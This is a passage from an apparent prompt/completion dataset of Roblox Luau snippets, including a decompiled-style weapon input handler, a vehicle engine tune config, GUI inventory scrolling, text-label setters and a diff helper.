Shooting then\n\t\t\t\t\tShooting = false\n\t\t\t\tend\n\t\t\t\tif L_24_.AutoEnabled then\n\t\t\t\t\tL_92_ = 2\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.AutoEnabled and L_24_.BurstEnabled then\n\t\t\t\t\tL_92_ = 3\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.AutoEnabled and not L_24_.BurstEnabled and L_24_.BoltAction then\n\t\t\t\t\tL_92_ = 4\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.AutoEnabled and not L_24_.BurstEnabled and not L_24_.BoltAction and L_24_.ExplosiveEnabled then\n\t\t\t\t\tL_92_ = 6\n\t\t\t\t\tL_83_ = true\n\t\t\t\t\tL_84_ = L_69_\n\t\t\t\t\tL_69_ = L_85_\n\t\t\t\telseif not L_24_.AutoEnabled and not L_24_.BurstEnabled and not L_24_.BoltAction and not L_24_.ExplosiveEnabled then\n\t\t\t\t\tL_92_ = 1\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\tend\n\t\t\telseif L_92_ == 2 then\n\t\t\t\tif Shooting then\n\t\t\t\t\tShooting = false\n\t\t\t\tend\n\t\t\t\tif L_24_.BurstEnabled then\n\t\t\t\t\tL_92_ = 3\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.BurstEnabled and L_24_.BoltAction then\n\t\t\t\t\tL_92_ = 4\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.BurstEnabled and not L_24_.BoltAction and L_24_.ExplosiveEnabled then\n\t\t\t\t\tL_92_ = 6\n\t\t\t\t\tL_83_ = true\n\t\t\t\t\tL_84_ = L_69_\n\t\t\t\t\tL_69_ = L_85_\n\t\t\t\telseif not L_24_.BurstEnabled and not L_24_.BoltAction and not L_24_.ExplosiveEnabled and L_24_.SemiEnabled then\n\t\t\t\t\tL_92_ = 1\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.BurstEnabled and not L_24_.BoltAction and not L_24_.SemiEnabled then\n\t\t\t\t\tL_92_ = 2\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\tend\n\t\t\telseif L_92_ == 3 then\n\t\t\t\tif Shooting then\n\t\t\t\t\tShooting = false\n\t\t\t\tend\n\t\t\t\tif L_24_.BoltAction then\n\t\t\t\t\tL_92_ = 4\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.BoltAction and L_24_.ExplosiveEnabled then\n\t\t\t\t\tL_92_ = 6\n\t\t\t\t\tL_83_ = true\n\t\t\t\t\tL_84_ = L_69_\n\t\t\t\t\tL_69_ = L_85_\n\t\t\t\telseif not L_24_.BoltAction and not L_24_.ExplosiveEnabled and L_24_.SemiEnabled then\n\t\t\t\t\tL_92_ = 1\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.BoltAction and not L_24_.SemiEnabled and L_24_.AutoEnabled then\n\t\t\t\t\tL_92_ = 2\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.BoltAction and not L_24_.SemiEnabled and not L_24_.AutoEnabled then\n\t\t\t\t\tL_92_ = 3\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\tend\n\t\t\telseif L_92_ == 4 then\n\t\t\t\tif Shooting then\n\t\t\t\t\tShooting = false\n\t\t\t\tend\n\t\t\t\tif L_24_.ExplosiveEnabled then\n\t\t\t\t\tL_92_ = 6\n\t\t\t\t\tL_83_ = true\n\t\t\t\t\tL_84_ = L_69_\n\t\t\t\t\tL_69_ = L_85_\n\t\t\t\telseif not L_24_.ExplosiveEnabled and L_24_.SemiEnabled then\n\t\t\t\t\tL_92_ = 1\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.SemiEnabled and L_24_.AutoEnabled then\n\t\t\t\t\tL_92_ = 2\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.SemiEnabled and not L_24_.AutoEnabled and L_24_.BurstEnabled then\n\t\t\t\t\tL_92_ = 3\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.SemiEnabled and not L_24_.AutoEnabled and not L_24_.BurstEnabled then\n\t\t\t\t\tL_92_ = 4\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\tend\n\t\t\telseif L_92_ == 6 then\n\t\t\t\tif Shooting then\n\t\t\t\t\tShooting = false\n\t\t\t\tend\n\t\t\t\tL_85_ = L_69_\n\t\t\t\tif L_24_.SemiEnabled then\n\t\t\t\t\tL_92_ = 1\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.SemiEnabled and L_24_.AutoEnabled then\n\t\t\t\t\tL_92_ = 2\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.SemiEnabled and not L_24_.AutoEnabled and L_24_.BurstEnabled then\n\t\t\t\t\tL_92_ = 3\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.SemiEnabled and not L_24_.AutoEnabled and not L_24_.BurstEnabled and L_24_.BoltAction then\n\t\t\t\t\tL_92_ = 4\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.SemiEnabled and not L_24_.AutoEnabled and not L_24_.BurstEnabled and not L_24_.BoltAction then\n\t\t\t\t\tL_92_ = 6\n\t\t\t\t\tL_83_ = true\n\t\t\t\t\tL_84_ = L_69_\n\t\t\t\t\tL_69_ = L_85_\n\t\t\t\tend\n\t\t\tend\n\t\t\tUpdateAmmo()\n\t\t\tFireModeAnim()\n\t\t\tIdleAnim()\n\t\t\tL_70_ = false\n\t\tend;\n\t\t\n\t\tif L_314_arg1.KeyCode == (Enum.KeyCode.F or L_314_arg1.KeyCode == Enum.KeyCode.DPadDown) and not L_79_ and not L_77_ and not L_78_ and not L_67_ and not L_70_ and not L_64_ and not L_66_ and not Shooting and not L_76_ then\t\t\t\n\t\t\tif not L_73_ and not L_74_ then\n\t\t\t\tL_74_ = true\n\t\t\t\tShooting = false\n\t\t\t\tL_69_ = false\n\t\t\t\tL_135_ = time()\n\t\t\t\tdelay(0.6, function()\n\t\t\t\t\tif L_103_ ~= L_24_.Ammo and L_103_ > 0 then\n\t\t\t\t\t\tCreateShell()\n\t\t\t\t\tend\n\t\t\t\tend)\t\n\t\t\t\tBoltBackAnim()\n\t\t\t\tL_73_ = true\n\t\t\telseif L_73_ and L_74_ then\n\t\t\t\tBoltForwardAnim()\n\t\t\t\tShooting = false\n\t\t\t\tL_69_ = true\n\t\t\t\tif L_103_ ~= L_24_.Ammo and L_103_ > 0 then\n\t\t\t\t\tL_103_ = L_103_ - 1\n\t\t\t\telseif L_103_ >= L_24_.Ammo then\n\t\t\t\t\tL_69_ = true\n\t\t\t\tend\t\t\t\t\t\t\n\t\t\t\tL_73_ = false\n\t\t\t\tL_74_ = false\n\t\t\t\tIdleAnim()\n\t\t\t\tL_75_ = false\n\t\t\tend\n\t\t\tUpdateAmmo()\n\t\tend;\n\t\t\n\t\tif L_314_arg1.KeyCode == (Enum.KeyCode.LeftShift or L_314_arg1.KeyCode == Enum.KeyCode.ButtonL3) and not L_78_ and not L_77_ and L_146_ then\n\t\t\tL_71_ = true\n\t\t\tif L_15_ and not L_70_ and not L_67_ and L_71_ and not L_65_ and not L_74_ then\n\t\t\t\tShooting = false\n\t\t\t\tL_64_ = false\n\t\t\t\tL_67_ = true\n\t\t\t\t\t\t\n\t\t\t\tdelay(0, function()\n\t\t\t\t\tif L_67_ and not L_66_ then\n\t\t\t\t\t\tL_64_ = false\n\t\t\t\t\t\tL_72_ = true\n\t\t\t\t\tend\n\t\t\t\tend)\n\t\t\t\tL_97_ = 80\n\t\t\t\tif L_24_.TacticalModeEnabled then\n\t\t\t\t\tL_154_ = 0.4\n\t\t\t\t\tL_155_ = 16\n\t\t\t\telse\n\t\t\t\t\tL_155_ = L_24_.SprintSpeed\n\t\t\t\t\tL_154_ = 0.4\n\t\t\t\tend\n\t\t\t\tL_3_.Humanoid.WalkSpeed = L_24_.SprintSpeed\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_314_arg1.KeyCode == (Enum.KeyCode.R or L_314_arg1.KeyCode == Enum.KeyCode.ButtonX) and not L_79_ and not L_78_ and not L_77_ and L_15_ and not L_66_ and not L_64_ and not Shooting and not L_67_ and not L_74_ then\t\t\n\t\t\tif not L_83_ then\t\t\t\n\t\t\t\tif L_104_ > 0 and L_103_ < L_24_.Ammo then\n\t\t\t\t\tShooting = false\n\t\t\t\t\tL_66_ = true\n\t\t\t\t\t\n\t\t\t\t\tfor L_319_forvar1, L_320_forvar2 in pairs(game.Players:GetChildren()) do\n\t\t\t\t\t\tif L_320_forvar2 and L_320_forvar2:IsA('Player') and L_320_forvar2 ~= L_2_ and L_320_forvar2.TeamColor == L_2_.TeamColor then\n\t\t\t\t\t\t\tif (L_320_forvar2.Character.HumanoidRootPart.Position - L_3_.HumanoidRootPart.Position).magnitude <= 150 then\n\t\t\t\t\t\t\t\tif L_7_:FindFirstChild('AHH') and not L_7_.AHH.IsPlaying then\n\t\t\t\t\t\t\t\t\tL_119_:FireServer(L_7_.AHH, L_100_[math.random(0, 23)])\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tif L_103_ <= 1 then\n\t\t\t\t\t\tif not L_24_.CanSlideLock then\n\t\t\t\t\t\t\tReloadAnim()\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tif L_103_ <= 2 then\n\t\t\t\t\t\tif not L_24_.CanSlideLock then\n\t\t\t\t\t\t\tReloadAnim()\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tif L_103_ <= 3 then\n\t\t\t\t\t\tif not L_24_.CanSlideLock then\n\t\t\t\t\t\t\tReloadAnim()\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tif L_103_ <= 4 then\n\t\t\t\t\t\tif not L_24_.CanSlideLock then\n\t\t\t\t\t\t\tReloadAnim()\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tif L_103_ <= 5 then\n\t\t\t\t\t\tif not L_24_.CanSlideLock then\n\t\t\t\t\t\t\tReloadAnim()\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tif L_103_ <= 6 then\n\t\t\t\t\t\tif not L_24_.CanSlideLock then\n\t\t\t\t\t\t\tReloadAnim()\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tif L_103_ <= 7 then\n\t\t\t\t\t\tif not L_24_.CanSlideLock then\n\t\t\t\t\t\t\tReloadAnim()\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tif L_103_ >= 0 then\n\t\t\t\t\t\tif not L_24_.CanSlideLock then\n\t\t\t\t\t\t\tReloadAnim()\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tif L_103_ <= 0 then\n\t\t\t\t\t\tif not L_24_.CanSlideLock then\n\t\t\t\t\t\t\tBoltBackAnim()\n\t\t\t\t\t\t\tBoltForwardAnim()\t\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\tIdleAnim()\n\t\t\t\t\tL_69_ = true\n\t\t\t\t\t\n\t\t\t\t\tif L_103_ <= 0 then\n\t\t\t\t\t\tif (L_104_ - (L_24_.Ammo - L_103_)) < 0 then\n\t\t\t\t\t\t\tL_103_ = L_103_ + L_104_\n\t\t\t\t\t\t\tL_104_ = 0\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tL_104_ = L_104_ - (L_24_.Ammo - L_103_)\n\t\t\t\t\t\t\tL_103_ = L_24_.Ammo\n\t\t\t\t\t\tend\n\t\t\t\t\telseif L_103_ > 0 then\n\t\t\t\t\t\tif (L_104_ - (L_24_.Ammo - L_103_)) < 0 then\n\t\t\t\t\t\t\tL_103_ = L_103_ + L_104_ + 1\n\t\t\t\t\t\t\tL_104_ = 0\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tL_104_ = L_104_ - (L_24_.Ammo - L_103_)\n\t\t\t\t\t\t\tL_103_ = L_24_.Ammo + 1\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\n\t\t\t\t\tL_66_ = false\n\t\t\t\t\tif not L_75_ then\n\t\t\t\t\t\tL_69_ = true\n\t\t\t\t\tend\n\t\t\t\tend;\n\t\t\telseif L_83_ then\n\t\t\t\tif L_105_ > 0 then\n\t\t\t\t\tShooting = false\n\t\t\t\t\tL_66_ = true\n\t\t\t\t\tnadeReload()\n\t\t\t\t\tIdleAnim()\n\t\t\t\t\tL_66_ = false\n\t\t\t\t\tL_69_ = true\n\t\t\t\tend\n\t\t\tend;\n\t\t\tUpdateAmmo()\n\t\tend;\n\t\t\n\t\tif L_314_arg1.KeyCode == Enum.KeyCode.RightBracket and L_64_ then\n\t\t\tif (L_51_ < 1) then\n\t\t\t\tL_51_ = L_51_ + L_24_.SensitivityIncrement\n\t\t\tend\n\t\tend\n\t\t\n\t\tif L_314_arg1.KeyCode == Enum.KeyCode.LeftBracket and L_64_ then\n\t\t\tif (L_51_ > 0.1) then\n\t\t\t\tL_51_ = L_51_ - L_24_.SensitivityIncrement\n\t\t\tend\n\t\tend\n\t\t\n\t\tif L_314_arg1.KeyCode == (Enum.KeyCode.T or L_314_arg1.KeyCode == Enum.KeyCode.DPadLeft) and L_1_:FindFirstChild(\"AimPart2\") then\n\t\t\tif not L_86_ then\n\t\t\t\tL_56_ = L_1_:WaitForChild(\"AimPart2\")\n\t\t\t\tL_50_ = L_24_.CycleAimZoom\n\t\t\t\tif L_64_ then\n\t\t\t\t\tL_97_ = L_24_.CycleAimZoom\n\t\t\t\tend\n\t\t\t\tL_86_ = true\n\t\t\telse\n\t\t\t\tL_56_ = L_1_:FindFirstChild(\"AimPart\")\n\t\t\t\tL_50_ = L_24_.AimZoom\n\t\t\t\tif L_64_ then\n\t\t\t\t\tL_97_ = L_24_.AimZoom\n\t\t\t\tend\n\t\t\t\tL_86_ = false\n\t\t\tend;\n\t\tend;\n\t\t\n\t\tif L_314_arg1.KeyCode == L_24_.InspectionKey and not L_79_ and not L_78_ then\n\t\t\tif not L_77_ then\n\t\t\t\tL_77_ = true\n\t\t\t\tInspectAnim()\n\t\t\t\tIdleAnim()\n\t\t\t\tL_77_ = false\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_314_arg1.KeyCode == L_24_.AttachmentKey and not L_79_ and not L_77_ then\n\t\t\tif L_15_ then\n\t\t\t\tif not L_78_ then\n\t\t\t\t\tL_67_ = false\n\t\t\t\t\tL_64_ = false\n\t\t\t\t\tL_69_ = false\n\t\t\t\t\tL_78_ = true\n\t\t\t\t\t\n\t\t\t\t\tAttachAnim()\n\t\t\t\telseif L_78_ then\n\t\t\t\t\tL_67_ = false\n\t\t\t\t\tL_64_ = false\n\t\t\t\t\tL_69_ = true\n\t\t\t\t\tL_78_ = false\n\t\t\t\t\t\n\t\t\t\t\tIdleAnim()\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\t\t\t\n\t\tif L_314_arg1.KeyCode == Enum.KeyCode.P and not L_77_ and not L_78_ and not L_64_ and not L_67_ and not L_65_ and not L_66_ and not Recoiling and not L_67_ then\n\t\t\tif not L_79_ then\n\t\t\t\tL_79_ = true\n\t\t\t\tL_14_:Create(L_45_, TweenInfo.new(0.2), {\n\t\t\t\t\tC1 = L_24_.SprintPos\n\t\t\t\t}):Play()\n\t\t\t\twait(0.2)\n\t\t\t\tL_112_:FireServer(\"Patrol\", L_24_.SprintPos)\n\t\t\telse\n\t\t\t\tL_79_ = false\n\t\t\t\tL_14_:Create(L_45_, TweenInfo.new(0.2), {\n\t\t\t\t\tC1 = CFrame.new()\n\t\t\t\t}):Play()\n\t\t\t\twait(0.2)\n\t\t\t\tL_112_:FireServer(\"Unpatrol\")\n\t\t\tend\n\t\tend;\n\tend\nend)\n\nL_107_.InputEnded:connect(function(L_321_arg1, L_322_arg2)\n\tif not L_322_arg2 and L_15_ then\n\t\tif L_321_arg1.UserInputType == (Enum.UserInputType.MouseButton2 or L_321_arg1.KeyCode == Enum.KeyCode.ButtonL2) and not L_77_ and L_24_.CanAim and not L_78_ then\n\t\t\tif L_64_ then\n\t\t\t\tif not L_65_ then\n\t\t\t\t\tL_3_:WaitForChild(\"Humanoid\").WalkSpeed = 16\n\t\t\t\t\tif L_24_.TacticalModeEnabled then\n\t\t\t\t\t\tL_154_ = 0.09\n\t\t\t\t\t\tL_155_ = 11\n\t\t\t\t\telse\n\t\t\t\t\t\tL_154_ = .2\n\t\t\t\t\t\tL_155_ = 17\n\t\t\t\t\tend\n\t\t\t\tend\t\n\t\t\t\tL_97_ = 70\n\t\t\t\tL_133_.target = Vector3.new()\n\t\t\t\tL_115_:FireServer(false)\n\t\t\t\tL_64_ = false\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_321_arg1.KeyCode == Enum.KeyCode.A and L_15_ then\n\t\t\tL_134_ = CFrame.Angles(0, 0, 0)\n\t\tend;\n\t\t\n\t\tif L_321_arg1.KeyCode == Enum.KeyCode.D and L_15_ then\n\t\t\tL_134_ = CFrame.Angles(0, 0, 0)\n\t\tend;\n\t\t\n\t\tif L_321_arg1.KeyCode == Enum.KeyCode.E and L_15_ and L_80_ then\n\t\t\tUnlean()\t\t\n\t\t\tL_80_ = false\n\t\t\tL_82_ = false\n\t\t\tL_81_ = false\n\t\tend\n\t\t\n\t\tif L_321_arg1.KeyCode == Enum.KeyCode.Q and L_15_ and L_80_ then\n\t\t\tUnlean()\t\t\n\t\t\tL_80_ = false\n\t\t\tL_82_ = false\n\t\t\tL_81_ = false\n\t\tend\n\t\t\n\t\tif L_321_arg1.KeyCode == L_24_.AlternateAimKey and not L_77_ and L_24_.CanAim then\n\t\t\tif L_64_ then\n\t\t\t\tif not L_65_ then\n\t\t\t\t\tL_3_.Humanoid.WalkSpeed = 16\n\t\t\t\t\tL_155_ = 17\n\t\t\t\t\tL_154_ = .25\n\t\t\t\tend\t\n\t\t\t\tL_97_ = 70\n\t\t\t\tL_133_.target = Vector3.new()\n\t\t\t\tL_115_:FireServer(false)\n\t\t\t\tL_64_ = false\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_321_arg1.UserInputType == (Enum.UserInputType.MouseButton1 or L_321_arg1.KeyCode == Enum.KeyCode.ButtonR2) and not L_77_ then\n\t\t\tL_68_ = false\t\t\t\t\n\t\t\tif Shooting then\n\t\t\t\tShooting = false\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_321_arg1.KeyCode == Enum.KeyCode.E and L_15_ then\n\t\t\tlocal L_323_ = L_42_:WaitForChild('GameGui')\n\t\t\tif L_16_ then\n\t\t\t\tL_323_:WaitForChild('AmmoFrame').Visible = false\n\t\t\t\tL_16_ = false\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_321_arg1.KeyCode == (Enum.KeyCode.LeftShift or L_321_arg1.KeyCode == Enum.KeyCode.ButtonL3) and not L_77_ and not L_70_ and not L_65_ then -- SPRINT\n\t\t\tL_71_ = false\n\t\t\tif L_67_ and not L_64_ and not Shooting and not L_71_ then\n\t\t\t\tL_67_ = false\n\t\t\t\tL_72_ = false\n\t\t\t\tL_97_ = 70\n\t\t\t\n\t\t\t\tL_3_.Humanoid.WalkSpeed = 16\n\t\t\t\tif L_24_.TacticalModeEnabled then\n\t\t\t\t\tL_154_ = 0.09\n\t\t\t\t\tL_155_ = 11\n\t\t\t\telse\n\t\t\t\t\tL_154_ = .2\n\t\t\t\t\tL_155_ = 17\n\t\t\t\tend\t\t\t\n\t\t\tend\n\t\tend;\n\tend\nend)\n\nL_107_.InputChanged:connect(function(L_324_arg1, L_325_arg2)\n\tif not L_325_arg2 and L_15_ and L_24_.FirstPersonOnly and L_64_ then\n\t\tif L_324_arg1.UserInputType == Enum.UserInputType.MouseWheel then\n\t\t\tif L_324_arg1.Position.Z == 1 and (L_51_ < 1) then\n\t\t\t\tL_51_ = L_51_ + L_24_.SensitivityIncrement\n\t\t\telseif L_324_arg1.Position.Z == -1 and (L_51_ > 0.1) then\n\t\t\t\tL_51_ = L_51_ - L_24_.SensitivityIncrement\n\t\t\tend\n\t\tend\n\tend\nend)\n\nL_107_.InputChanged:connect(function(L_326_arg1, L_327_arg2)\n\tif not L_327_arg2 and L_15_ then\n\t\tlocal L_328_, L_329_ = workspace:FindPartOnRayWithIgnoreList(Ray.new(L_56_.CFrame.p, (L_56_.CFrame.lookVector).unit * 10000), IgnoreList);\n\t\tif L_328_ then\n\t\t\tlocal L_330_ = (L_329_ - L_6_.Position).magnitude\n\t\t\tL_33_.Text = math.ceil(L_330_) .. ' m'\n\t\tend\n\tend\nend)\n"} +{"prompt": "---------------------------\n--[[\n\t--Main anchor point is the DriveSeat \t\n\t\n\tUsage:\n\t\tMakeWeld(Part1,Part2,WeldType*,MotorVelocity**) *default is \"Weld\" **Applies to Motor welds only\n\t\tModelWeld(Model,MainPart)\n\tExample:\n\t\tMakeWeld(car.DriveSeat,misc.PassengerSeat)\n\t\tMakeWeld(car.DriveSeat,misc.SteeringWheel,\"Motor\",.2)\n\t\tModelWeld(car.DriveSeat,misc.Door)\n]]", "completion": "\n"} +{"prompt": "-- Create scope HUD when tool opens", "completion": "\ncoroutine.wrap(function ()\n\tEnabled:Wait()\n\n\t-- Create scope HUD\n\tlocal ScopeHUDTemplate = require(UIElements:WaitForChild 'ScopeHUD')\n\tlocal ScopeHUD = Roact.createElement(ScopeHUDTemplate, {\n\t\tCore = getfenv(0);\n\t})\n\n\t-- Mount scope HUD\n\tRoact.mount(ScopeHUD, UI, 'ScopeHUD')\nend)()\n"} +{"prompt": "--[[Engine]]", "completion": "\n\t--Torque Curve\n\tTune.Horsepower\t\t= 180\t\t--\t[TORQUE CURVE VISUAL]\n\tTune.IdleRPM\t\t= 700\t\t--\t\thttps://www.desmos.com/calculator/2uo3hqwdhf\n\tTune.PeakRPM\t\t= 6000\t\t--\t\tUse sliders to manipulate values\n\tTune.Redline\t\t= 6700\t\t--\t\tCopy and paste slider values into the respective tune values\n\tTune.EqPoint\t\t= 5500\n\tTune.PeakSharpness\t= 7.5\n\tTune.CurveMult\t\t= 0.16\n\t\n\t--Incline Compensation\n\tTune.InclineComp\t= 1.7\t\t\t-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)\n\t\n\t--Misc\n\tTune.RevAccel\t\t= 150\t\t-- RPM acceleration when clutch is off\n\tTune.RevDecay\t\t= 75\t\t-- RPM decay when clutch is off\n\tTune.RevBounce\t\t= 500\t\t-- RPM kickback from redline\n\tTune.IdleThrottle\t= 3\t\t\t-- Percent throttle at idle\n\tTune.ClutchTol\t\t= 500\t\t-- Clutch engagement threshold (higher = faster response)\n\t"} +{"prompt": "---- Public Functions\n-- Set", "completion": "\nfunction StringLabel:SetText(text)\n\twaitForUpdate(self)\n\t\n\tself._textLabel.Text = text\nend\n\nfunction StringLabel:SetSize(size)\n\twaitForUpdate(self)\n\t\n\tself._textLabel.Size = size\nend\n\nfunction StringLabel:SetPosition(position)\n\twaitForUpdate(self)\n\t\n\tself._textLabel.Position = position\nend\n\nfunction StringLabel:SetFont(font)\n\twaitForUpdate(self)\n\t\n\tfor _, label in pairs(self._characterLabels) do\n\t\tlabel.Font = font\n\tend\nend\n\nfunction StringLabel:SetTextColor(color)\n\twaitForUpdate(self)\n\t\n\tfor _, label in pairs(self._characterLabels) do\n\t\tlabel.TextColor3 = color\n\tend\nend\n\nfunction StringLabel:SetTextTransparency(transparency)\n\twaitForUpdate(self)\n\t\n\tfor _, label in pairs(self._characterLabels) do\n\t\tlabel.TextTransparency = transparency\n\tend\nend\n\nfunction StringLabel:SetRotation(rotation)\n\twaitForUpdate(self)\n\t\n\tfor _, label in pairs(self._characterLabels) do\n\t\tlabel.Rotation = rotation\n\tend\nend\n\nfunction StringLabel:SetCharacterFont(index, font)\n\twaitForUpdate(self)\n\t\n\tlocal label = self._characterLabels[index]\n\tif label then\n\t\tlabel.Font = font\n\tend\nend\n\nfunction StringLabel:SetCharacterTextColor(index, color)\n\twaitForUpdate(self)\n\t\n\tlocal label = self._characterLabels[index]\n\tif label then\n\t\tlabel.TextColor3 = color\n\tend\nend\n\nfunction StringLabel:SetCharacterTextTransparency(index, transparency)\n\twaitForUpdate(self)\n\t\n\tlocal label = self._characterLabels[index]\n\tif label then\n\t\tlabel.TextTransparency = transparency\n\tend\nend\n\nfunction StringLabel:SetCharacterRotation(index, rotation)\n\twaitForUpdate(self)\n\t\n\tlocal label = self._characterLabels[index]\n\tif label then\n\t\tlabel.Rotation = rotation\n\tend\nend\n"} +{"prompt": "-- Make the ScrollingFrame, which holds the rest of the Slots (however many)", "completion": "\nScrollingFrame = NewGui('ScrollingFrame', 'ScrollingFrame')\nScrollingFrame.Selectable = false\nScrollingFrame.CanvasSize = UDim2.new(0, 0, 0, 0)\nScrollingFrame.Parent = InventoryFrame\n\nUIGridFrame = NewGui('Frame', 'UIGridFrame')\nUIGridFrame.Selectable = false\nUIGridFrame.Size = UDim2.new(1, -(ICON_BUFFER*2), 1, 0)\nUIGridFrame.Position = UDim2.new(0, ICON_BUFFER, 0, 0)\nUIGridFrame.Parent = ScrollingFrame\n\nUIGridLayout = Instance.new(\"UIGridLayout\")\nUIGridLayout.SortOrder = Enum.SortOrder.LayoutOrder\nUIGridLayout.CellSize = UDim2.new(0, ICON_SIZE, 0, ICON_SIZE)\nUIGridLayout.CellPadding = UDim2.new(0, ICON_BUFFER, 0, ICON_BUFFER)\nUIGridLayout.Parent = UIGridFrame\n\nScrollUpInventoryButton = MakeVRRoundButton('ScrollUpButton', 'rbxasset://textures/ui/Backpack/ScrollUpArrow.png')\nScrollUpInventoryButton.Size = UDim2.new(0, 34, 0, 34)\nScrollUpInventoryButton.Position = UDim2.new(0.5, -ScrollUpInventoryButton.Size.X.Offset/2, 0, INVENTORY_HEADER_SIZE + 3)\nScrollUpInventoryButton.Icon.Position = ScrollUpInventoryButton.Icon.Position - UDim2.new(0,0,0,2)\nScrollUpInventoryButton.MouseButton1Click:Connect(function()\n\tScrollingFrame.CanvasPosition = Vector2.new(\n\t\tScrollingFrame.CanvasPosition.X,\n\t\tClamp(0, ScrollingFrame.CanvasSize.Y.Offset - ScrollingFrame.AbsoluteWindowSize.Y, ScrollingFrame.CanvasPosition.Y - (ICON_BUFFER + ICON_SIZE)))\nend)\n\nScrollDownInventoryButton = MakeVRRoundButton('ScrollDownButton', 'rbxasset://textures/ui/Backpack/ScrollUpArrow.png')\nScrollDownInventoryButton.Rotation = 180\nScrollDownInventoryButton.Icon.Position = ScrollDownInventoryButton.Icon.Position - UDim2.new(0,0,0,2)\nScrollDownInventoryButton.Size = UDim2.new(0, 34, 0, 34)\nScrollDownInventoryButton.Position = UDim2.new(0.5, -ScrollDownInventoryButton.Size.X.Offset/2, 1, -ScrollDownInventoryButton.Size.Y.Offset - 3)\nScrollDownInventoryButton.MouseButton1Click:Connect(function()\n\tScrollingFrame.CanvasPosition = Vector2.new(\n\t\tScrollingFrame.CanvasPosition.X,\n\t\tClamp(0, ScrollingFrame.CanvasSize.Y.Offset - ScrollingFrame.AbsoluteWindowSize.Y, ScrollingFrame.CanvasPosition.Y + (ICON_BUFFER + ICON_SIZE)))\nend)\n\nScrollingFrame.Changed:Connect(function(prop)\n\tif prop == 'AbsoluteWindowSize' or prop == 'CanvasPosition' or prop == 'CanvasSize' then\n\t\tlocal canScrollUp = ScrollingFrame.CanvasPosition.Y ~= 0\n\t\tlocal canScrollDown = ScrollingFrame.CanvasPosition.Y < ScrollingFrame.CanvasSize.Y.Offset - ScrollingFrame.AbsoluteWindowSize.Y\n\n\t\tScrollUpInventoryButton.Visible = canScrollUp\n\t\tScrollDownInventoryButton.Visible = canScrollDown\n\tend\nend)\n"} +{"prompt": "-- Hot water", "completion": "\nfaucet.HotWaterSet.Interactive.ClickDetector.MouseClick:Connect(function()\n\tfaucet.Handle:SetPrimaryPartCFrame(faucet.HandleBase.CFrame * CFrame.Angles(math.rad(-150),0,0))\n\tp.HotOn.Value = true\n\tp.ColdOn.Value = false\nend)\n"} +{"prompt": "-- Compare items in two sequences to find a longest common subsequence.\n-- Given lengths of sequences and input function to compare items at indexes,\n-- return by output function the number of adjacent items and starting indexes\n-- of each common subsequence.", "completion": "\nreturn function(aLength: number, bLength: number, isCommon: IsCommon, foundSubsequence: FoundSubsequence): ()\n\tvalidateLength(\"aLength\", aLength)\n\tvalidateLength(\"bLength\", bLength)\n\tvalidateCallback(\"isCommon\", isCommon)\n\tvalidateCallback(\"foundSubsequence\", foundSubsequence)\n\n\t-- Count common items from the start in the forward direction.\n\tlocal nCommonF = countCommonItemsF(0, aLength, 0, 